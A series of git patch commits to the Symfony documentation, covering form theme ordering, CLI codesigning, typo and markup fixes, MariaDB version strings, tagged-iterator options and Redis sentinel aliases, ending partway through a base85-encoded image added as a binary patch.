+    `Swoole`_, etc. without any changes.
 
 .. versionadded:: 5.3
 
@@ -483,5 +483,7 @@ The end user will now be able to create front controller like::
         return new SomeCustomPsr15Application();
     };
 
+.. _PHP-PM: https://github.com/php-pm/php-pm
+.. _Swoole: https://openswoole.com/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/

From 4b645b480b10100d91a02a1c01c7b37cc4cce43e Mon Sep 17 00:00:00 2001
From: Aurimas <aurimas1rimkus@gmail.com>
Date: Tue, 5 Dec 2023 21:39:42 +0200
Subject: [PATCH 4118/5766] Fix custom form type docs.

---
 form/create_custom_field_type.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index ccb90a04377..7292356841d 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -362,9 +362,8 @@ fragments used to render the types:
 
     {# ... here you will add the Twig code ... #}
 
-Then, update the :ref:`form_themes option <reference-twig-tag-form-theme>` to
-add this new template at the beginning of the list (the first one overrides the
-rest of files):
+Then, update the :ref:`form_themes option <config-twig-form-themes>` to
+add this new template at the end of the list (each theme overrides all the previous ones):
 
 .. configuration-block::
 
@@ -373,8 +372,8 @@ rest of files):
         # config/packages/twig.yaml
         twig:
             form_themes:
-                - 'form/custom_types.html.twig'
                 - '...'
+                - 'form/custom_types.html.twig'
 
     .. code-block:: xml
 
@@ -389,8 +388,8 @@ rest of files):
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:form-theme>form/custom_types.html.twig</twig:form-theme>
                 <twig:form-theme>...</twig:form-theme>
+                <twig:form-theme>form/custom_types.html.twig</twig:form-theme>
             </twig:config>
         </container>
 
@@ -401,8 +400,8 @@ rest of files):
 
         return static function (TwigConfig $twig) {
             $twig->formThemes([
-                'form/custom_types.html.twig',
                 '...',
+                'form/custom_types.html.twig',
             ]);
         };
 

From 1be5c60a2931bb407564684895290c85c707a6a4 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 6 Dec 2023 09:55:30 +0100
Subject: [PATCH 4119/5766] use a release-indepent command to sign the symfony
 CLI

---
 setup/symfony_server.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 1c1ce448245..76073b5dcfa 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,11 +65,7 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # find the installed version of the Symfony binary
-        $ symfony version
-
-        # change the path to the location of your Symfony binary and replace {version} too
-        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
+        $ sudo codesign --force --deep --sign - $(whereis -q symfony)
 
 Enabling PHP-FPM
 ----------------

From 0d4561053034e17f3a228501d540aced565a0a90 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Wed, 6 Dec 2023 11:23:57 -0500
Subject: [PATCH 4120/5766] Fix typo in dic_tags.rst

Correct spelling of "artifacts"
---
 reference/dic_tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index d1100bb2395..fd390d7bd59 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -516,7 +516,7 @@ The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
 If you don't need to preload anything, return an empty array. If read-only
-artefacts need to be created, you can store them in a different directory
+artifacts need to be created, you can store them in a different directory
 with the ``$buildDir`` parameter of the ``warmUp()`` method.
 
 .. versionadded:: 6.4

From a02f175b96ccf29e7c7f27447f3afad76c00f8c3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Dec 2023 11:11:25 +0100
Subject: [PATCH 4121/5766] [Routing] Improving language, shortening twig code

Page: https://symfony.com/doc/6.3/routing.html#getting-the-route-name-and-parameters

* The first sentence wasn't english.
* Defining a  Twig variable for this is quite useless nowadays - this looks like a leftover from previous versions where the syntax was lengthy: https://symfony.com/doc/5.4/routing.html#getting-the-route-name-and-parameters
---
 routing.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 701814e0767..66cd714e782 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1603,15 +1603,14 @@ information in a controller via the ``Request`` object::
         }
     }
 
-You can get this information in services too injecting the ``request_stack``
-service to :doc:`get the Request object in a service </service_container/request>`.
-In templates, use the :ref:`Twig global app variable <twig-app-variable>` to get
+To get this information in a service, see :doc:`/service_container/request`.
+In templates, you can use the :ref:`Twig global app variable <twig-app-variable>` to get
 the current route and its attributes:
 
 .. code-block:: twig
 
-    {% set route_name = app.current_route %}
-    {% set route_parameters = app.current_route_parameters %}
+    {% app.current_route %}
+    {% app.current_route_parameters %}
 
 .. versionadded:: 6.2
 

From 9b5bcd2efe1c50e94d6a39006073243148c5d7a8 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 11:14:56 +0100
Subject: [PATCH 4122/5766] clean up Symfony 5 versionadded directives

---
 service_container.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 7a7a900028d..bf53c5d2a03 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1038,10 +1038,6 @@ Autconfiguration also works with attributes. Some attributes like
 for autoconfiguration. Any class using these attributes will have tags applied
 to them.
 
-.. versionadded:: 5.3
-
-    Autoconfiguration through attributes was introduced in Symfony 5.3.
-
 Linting Service Definitions
 ---------------------------
 

From 07905b59655e2354eb5f145caff4685d328b6008 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 11:32:08 +0100
Subject: [PATCH 4123/5766] fix markup

---
 components/property_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index ca05d944429..892cd5345a3 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -200,7 +200,7 @@ can provide the full documentation block for a property as a string::
 
 .. versionadded:: 7.1
 
-    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface``
+    The :class:`Symfony\\Component\\PropertyInfo\\PropertyDocBlockExtractorInterface`
     interface was introduced in Symfony 7.1.
 
 .. _property-info-description:
@@ -437,7 +437,7 @@ library is present::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock``
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpDocExtractor::getDocBlock`
     method was introduced in Symfony 7.1.
 
 PhpStanExtractor

From bc023ee1f37219e3d390d20128ffe118d080a6db Mon Sep 17 00:00:00 2001
From: Nicolas Potier <nicolas.potier@acseo-conseil.fr>
Date: Wed, 6 Dec 2023 15:59:50 +0100
Subject: [PATCH 4124/5766] Add missing use statements

---
 configuration/multiple_kernels.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 9464fcf39f7..5121aed9bb3 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -257,7 +257,8 @@ the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
-    // ...
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Input\InputOption;
 
     return function (InputInterface $input, array $context) {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));

From dc5e8e77efd74997cc1bfc5ff794cafa5d3f7052 Mon Sep 17 00:00:00 2001
From: Nicolas Potier <nicolas.potier@acseo-conseil.fr>
Date: Wed, 6 Dec 2023 15:45:52 +0100
Subject: [PATCH 4125/5766] Update multiple_kernels.rst

Adding the two required namespaces in the code sample
---
 configuration/multiple_kernels.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 5121aed9bb3..e73c7e4ebef 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,6 +117,9 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
+    // ...
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
     // ...
 
     class Kernel extends BaseKernel

From ae4577a5a32e6c14e5a61b141f1541cc3514801e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Dec 2023 15:40:05 +0100
Subject: [PATCH 4126/5766] -

---
 configuration/multiple_kernels.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index e73c7e4ebef..cd654e5dbeb 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,10 +117,8 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
-    // ...
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-    // ...
 
     class Kernel extends BaseKernel
     {

From a0ede91549aa234b2143abd77c5fb29bdd539286 Mon Sep 17 00:00:00 2001
From: ioanok <ioan.agavriloaei@gmail.com>
Date: Fri, 8 Dec 2023 15:25:02 +0200
Subject: [PATCH 4127/5766] Update flex_private_recipes.rst

---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index d4d3156466d..d143c69f3d7 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -224,7 +224,7 @@ computer, and execute the following command:
 
 .. code-block:: terminal
 
-    $ composer config --global --auth gitlab-oauth.gitlab.com [token]
+    $ composer config --global --auth gitlab-token.gitlab.com [token]
 
 Replace ``[token]`` with the value of your Gitlab personal access token.
 

From 4c6855fb4ebd7d29b274e3acd4748377e3c153a1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Dec 2023 19:55:10 +0100
Subject: [PATCH 4128/5766] update the target branch for new features

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 564ac26bb4a..dedb5c45cb8 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.4``, if you are adding a new feature.
+* ``7.1``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From 625e4323fa5faaa90e15141222afc7210869a95c Mon Sep 17 00:00:00 2001
From: hbgamra <ha.ben.gamra@gmail.com>
Date: Tue, 28 Nov 2023 09:44:45 +0100
Subject: [PATCH 4129/5766] Update console.rst

remove $kernel variable
---
 console.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 96bcc5dfcfb..393f75fe677 100644
--- a/console.rst
+++ b/console.rst
@@ -513,8 +513,8 @@ console::
     {
         public function testExecute()
         {
-            $kernel = self::bootKernel();
-            $application = new Application($kernel);
+            self::bootKernel();
+            $application = new Application(self::$kernel);
 
             $command = $application->find('app:create-user');
             $commandTester = new CommandTester($command);

From 6c5e3bcb1075107d76fed0bec2abe9136c2cfcdc Mon Sep 17 00:00:00 2001
From: louismariegaborit <lm.gabo@gmail.com>
Date: Sat, 18 Nov 2023 00:41:28 +0100
Subject: [PATCH 4130/5766] Update serverVersion for MariaDB

---
 doctrine.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index e5f4d0bdfc3..6777a31cc2f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -44,7 +44,10 @@ The database connection information is stored as an environment variable called
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
     # to use mariadb:
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+    # Before doctrine/dbal < 3.7
+    # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8"
+    # Since doctrine/dbal 3.7
+    # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=10.5.8-MariaDB"
 
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From e1e9205375955b6da8feda826ef6910bc0c44274 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 10:39:37 +0100
Subject: [PATCH 4131/5766] minor

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 178d0d59229..3cc7e28ea23 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -350,7 +350,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
             $limit = $limiter->consume();
             $headers = [
                 'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
-                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp() - time(),
                 'X-RateLimit-Limit' => $limit->getLimit(),
             ];
 

From 8fd55540f297d191981796337ad25934a8fdda12 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 9 Dec 2023 10:42:40 +0100
Subject: [PATCH 4132/5766] [DependencyInjection] Mention `exclude_self`

---
 service_container/tags.rst | 88 +++++++++++++++++++++++++++++++++++---
 1 file changed, 83 insertions(+), 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4955016d5a0..2d356a9f375 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -842,10 +842,88 @@ iterator, add the ``exclude`` option:
             ;
         };
 
-.. note::
+In the case the referencing service is itself tagged with the tag being used in the tagged
+iterator, it is automatically excluded from the injected iterable. This behavior can be
+disabled by setting the ``exclude_self`` option to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
+                iterable $handlers
+            ) {
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
 
-    In the case the referencing service is itself tagged with the tag being used in the tagged
-    iterator, it is automatically excluded from the injected iterable.
+            # This is the service we want to exclude, even if the 'app.handler' tag is attached
+            App\Handler\Three:
+                tags: ['app.handler']
+
+            App\HandlerCollection:
+                arguments:
+                    - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'], exclude_self: false }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached -->
+                <service id="App\Handler\Three">
+                    <tag name="app.handler"/>
+                </service>
+
+                <service id="App\HandlerCollection">
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_iterator" tag="app.handler" exclude-self="false">
+                        <exclude>App\Handler\Three</exclude>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            // ...
+
+            // This is the service we want to exclude, even if the 'app.handler' tag is attached
+            $services->set(App\Handler\Three::class)
+                ->tag('app.handler')
+            ;
+
+            $services->set(App\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class], excludeSelf: false)])
+            ;
+        };
 
 .. versionadded:: 6.1
 
@@ -853,8 +931,8 @@ iterator, add the ``exclude`` option:
 
 .. versionadded:: 6.3
 
-    The automatic exclusion of the referencing service in the injected iterable was
-    introduced in Symfony 6.3.
+    The ``exclude_self`` option and the automatic exclusion of the referencing
+    service in the injected iterable were introduced in Symfony 6.3.
 
 .. seealso::
 

From b6e04d989bd6cb046fc944f9caee00a578d1759c Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Sat, 9 Dec 2023 10:35:07 +0100
Subject: [PATCH 4133/5766] [Bundle] add tip for marking internal services as
 hidden

---
 bundles/best_practices.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 26915bdea9b..d2819e42fdb 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -482,6 +482,13 @@ can be used for autowiring.
 Services should not use autowiring or autoconfiguration. Instead, all services should
 be defined explicitly.
 
+.. tip::
+
+    If there is no intention for the service id to be used by the end user, you can
+    mark it as *hidden* by prefixing it with a dot (e.g. ``.acme_blog.logger``).
+    This prevents the service from being listed in the default ``debug:container``
+    command output.
+
 .. seealso::
 
     You can learn much more about service loading in bundles reading this article:

From 5d0f97dbc6a77485fb935aff780c47f6217fd773 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 9 Dec 2023 10:58:46 +0100
Subject: [PATCH 4134/5766] [Cache][Messenger] make both options redis_sentinel
 and sentinel_master available everywhere

---
 components/cache/adapters/redis_adapter.rst | 8 ++++++++
 messenger.rst                               | 7 ++++++-
 2 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index a25b1a510ed..1550d419081 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -200,6 +200,9 @@ Available Options
 ``redis_sentinel`` (type: ``string``, default: ``null``)
     Specifies the master name connected to the sentinels.
 
+``sentinel_master`` (type: ``string``, default: ``null``)
+    Alias of ``redis_sentinel`` option.
+
 ``dbindex`` (type: ``int``, default: ``0``)
     Specifies the database index to select.
 
@@ -211,6 +214,11 @@ Available Options
 ``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
+.. versionadded:: 7.1
+
+    The option `sentinel_master` as an alias for `redis_sentinel` was introduced
+    in Symfony 7.1.
+
 .. note::
 
     When using the `Predis`_ library some additional Predis-specific options are available.
diff --git a/messenger.rst b/messenger.rst
index 14ce030f840..07a734d96c9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1582,9 +1582,14 @@ read_timeout             Float, value in seconds                ``0``
 timeout                  Connection timeout. Float, value in    ``0``
                          seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
+redis_sentinel           support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 7.1
+
+    The option `redis_sentinel` as an alias for `sentinel_master` was introduced
+    in Symfony 7.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 3a4b4363f6922fc71ec38d8ac5a8b5e949f4d6c8 Mon Sep 17 00:00:00 2001
From: Louis-Proffit <77028679+Louis-Proffit@users.noreply.github.com>
Date: Fri, 9 Jun 2023 17:05:33 +0200
Subject: [PATCH 4135/5766] [Workflow] feature symfony#50604 metadata dumping

---
 .../components/workflow/blogpost_metadata.png   | Bin 0 -> 39729 bytes
 workflow/dumping-workflows.rst                  |  15 +++++++++++++++
 2 files changed, 15 insertions(+)
 create mode 100644 _images/components/workflow/blogpost_metadata.png

diff --git a/_images/components/workflow/blogpost_metadata.png b/_images/components/workflow/blogpost_metadata.png
new file mode 100644
index 0000000000000000000000000000000000000000..783f51c6ccfc20820f475d080bf00f37ca1f21dc
GIT binary patch
literal 39729
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
